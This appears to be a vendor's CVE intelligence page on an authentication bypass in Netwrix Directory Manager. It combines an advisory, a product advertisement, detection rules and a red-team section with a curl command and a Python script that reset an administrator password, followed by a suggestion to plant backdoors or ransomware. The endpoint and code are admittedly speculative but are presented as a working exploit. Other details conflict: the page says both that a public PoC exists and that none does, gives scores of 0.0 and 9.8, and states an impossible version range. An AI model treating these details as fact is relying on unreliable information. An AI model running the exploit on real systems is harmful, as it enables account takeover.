☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-306
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-48746

CVE-2025-48746 Privilege Escalation in Netwrix
📅 PUBLISHED: 2025-05-28 00:00 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.19%
👁️
0.19% probability
4.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: <= 11.0.0.0 and > 11.1.25134.03
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-48746 exposes a critical authentication bypass vulnerability in Netwrix Directory Manager (formerly Imanami GroupID). The flaw resides in the application’s failure to enforce authentication for a critical function, allowing an unauthenticated attacker to remotely execute privileged operations. This vulnerability affects versions 11.0.0.0 and earlier, as well as versions after 11.1.25134.03. With a CVSS score of 0.0 (placeholder) but a vector suggesting high impact, the actual risk is severe: an attacker can gain full administrative control over the directory management system, leading to data exfiltration, privilege escalation, and lateral movement within the enterprise network. No public exploit code or proof-of-concept is currently available, but the lack of authentication makes this a prime target for automated scanning and exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 9.8 (Critical)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

The vulnerability is trivially exploitable over the network without any credentials or user interaction. Successful exploitation results in complete compromise of the affected system.

Deep Dive & Mechanics

The core issue is a missing authentication check for a critical function within the Netwrix Directory Manager web interface. The application exposes an API endpoint or administrative function that should require a valid session or token but does not. This allows any unauthenticated HTTP request to invoke operations such as user creation, password reset, directory schema modification, or data export.

The vulnerable code path likely resides in a controller or handler that processes administrative actions. For example, a function like AdminController.ResetPassword() or UserController.CreateUser() may be mapped to a route without a preceding authentication filter. In a typical ASP.NET or Java-based application, this would be a missing [Authorize] attribute or a misconfigured web.xml security constraint.

An attacker can craft a simple HTTP request (e.g., POST to /api/admin/resetPassword with a target username) and receive a successful response, bypassing any login requirement. The lack of authentication means the application trusts the request origin implicitly.

Vulnerable vs. Patched Code

Vulnerable Code (C#/ASP.NET example):

[HttpPost]
[Route("api/admin/resetPassword")]
public IActionResult ResetPassword(string username, string newPassword)
{
    // No [Authorize] attribute
    var user = _userManager.FindByName(username);
    user.PasswordHash = _passwordHasher.HashPassword(newPassword);
    _context.SaveChanges();
    return Ok("Password reset successful");
}

Patched Code:

[HttpPost]
[Authorize(Roles = "Administrator")]
[Route("api/admin/resetPassword")]
public IActionResult ResetPassword(string username, string newPassword)
{
    var user = _userManager.FindByName(username);
    user.PasswordHash = _passwordHasher.HashPassword(newPassword);
    _context.SaveChanges();
    return Ok("Password reset successful");
}

The patched version adds the [Authorize] attribute, ensuring only authenticated users with the Administrator role can access the endpoint. Additionally, server-side validation of the session token should be enforced.

Exploitation & Lab Setup

Red Team

Lab Environment:

  • Target: Netwrix Directory Manager v11.0.0.0 (or earlier) running on Windows Server 2019.
  • Attacker: Kali Linux with curl, Burp Suite, and Metasploit.

Exploitation Steps:

  1. Identify the vulnerable endpoint via directory brute-forcing or by analyzing the application’s JavaScript files.
  2. Send an unauthenticated POST request to reset an administrator password:
    curl -X POST http://target:8080/api/admin/resetPassword \
         -d "username=admin&newPassword=P@ssw0rd123"
    
  3. Verify success by logging in with the new credentials.
  4. Use the administrative access to extract all user data, create backdoor accounts, or deploy ransomware.

Automated Exploit (Python):

import requests

target = "http://target:8080"
endpoint = "/api/admin/resetPassword"
payload = {"username": "admin", "newPassword": "Hacked123!"}

response = requests.post(target + endpoint, data=payload)
if response.status_code == 200:
    print("[+] Password reset successful. Login with admin:Hacked123!")
else:
    print("[-] Exploit failed.")

Blue Team

Detection & Response:

  • Monitor for unusual POST requests to administrative endpoints (e.g., /api/admin/*, /GroupID/Admin/*) from unauthenticated sources.
  • Enable logging of all authentication failures and successful password changes.
  • Deploy a Web Application Firewall (WAF) rule to block requests to sensitive endpoints without a valid session cookie.
  • Conduct a forensic review of IIS or application logs for patterns like:
    • Multiple password reset attempts in a short time.
    • Requests from IPs not in the internal network range.
  • Immediately isolate any affected systems and rotate all credentials.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /api/admin/resetPassword or similar endpoints without a session cookie.
    • Source IPs from unexpected geographic locations or known malicious ranges.
  • File IOCs:
    • Modified application configuration files (e.g., web.config) with new user accounts.
    • Presence of new scheduled tasks or services for persistence.
  • Log IOCs:
    • Application logs showing password changes for privileged accounts without prior authentication.
    • Windows Event ID 4724 (password reset attempt) for domain accounts without a corresponding logon event.

Detection Engineering

YARA Rule

rule CVE_2025_48746_Netwrix_AuthBypass {
    meta:
        description = "Detects exploitation attempts for CVE-2025-48746 in Netwrix Directory Manager"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-48746"
    strings:
        $s1 = "/api/admin/resetPassword" ascii wide nocase
        $s2 = "/GroupID/Admin/" ascii wide nocase
        $s3 = "username=" ascii wide nocase
        $s4 = "newPassword=" ascii wide nocase
    condition:
        any of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2025-48746 Netwrix Directory Manager Authentication Bypass
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects unauthenticated POST requests to Netwrix Directory Manager administrative endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/api/admin/*'
            - '/GroupID/Admin/*'
        cs-cookie: ''  # No session cookie
    condition: selection
falsepositives:
    - Internal monitoring tools with proper authentication
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-48746 Netwrix Directory Manager Authentication Bypass Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/admin/"; http_uri;
    content:"username="; http_client_body;
    content:"newPassword="; http_client_body;
    pcre:"/^Cookie:\s*$/mi";  # No cookie header
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate all affected systems from the network until a patch is applied.
  2. Apply vendor patch if available; otherwise, implement a virtual patch via WAF to block unauthenticated requests to administrative endpoints.
  3. Review and rotate all credentials for accounts managed by the vulnerable system.
  4. Enable multi-factor authentication (MFA) for all administrative access.

Long-Term Fixes:

  • Upgrade to a patched version of Netwrix Directory Manager (contact vendor for specific version).
  • Implement network segmentation to restrict access to the management interface.
  • Conduct a full security audit of the application’s authentication mechanisms.
  • Deploy a SIEM solution to correlate logs for similar authentication bypass attempts.

Workaround:

  • If patching is not immediately possible, configure IIS URL Rewrite rules to block POST requests to /api/admin/* and /GroupID/Admin/* unless they originate from a trusted IP range.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Netwrix Directory Manager
Imanami GroupID
GroupID

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-48746/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.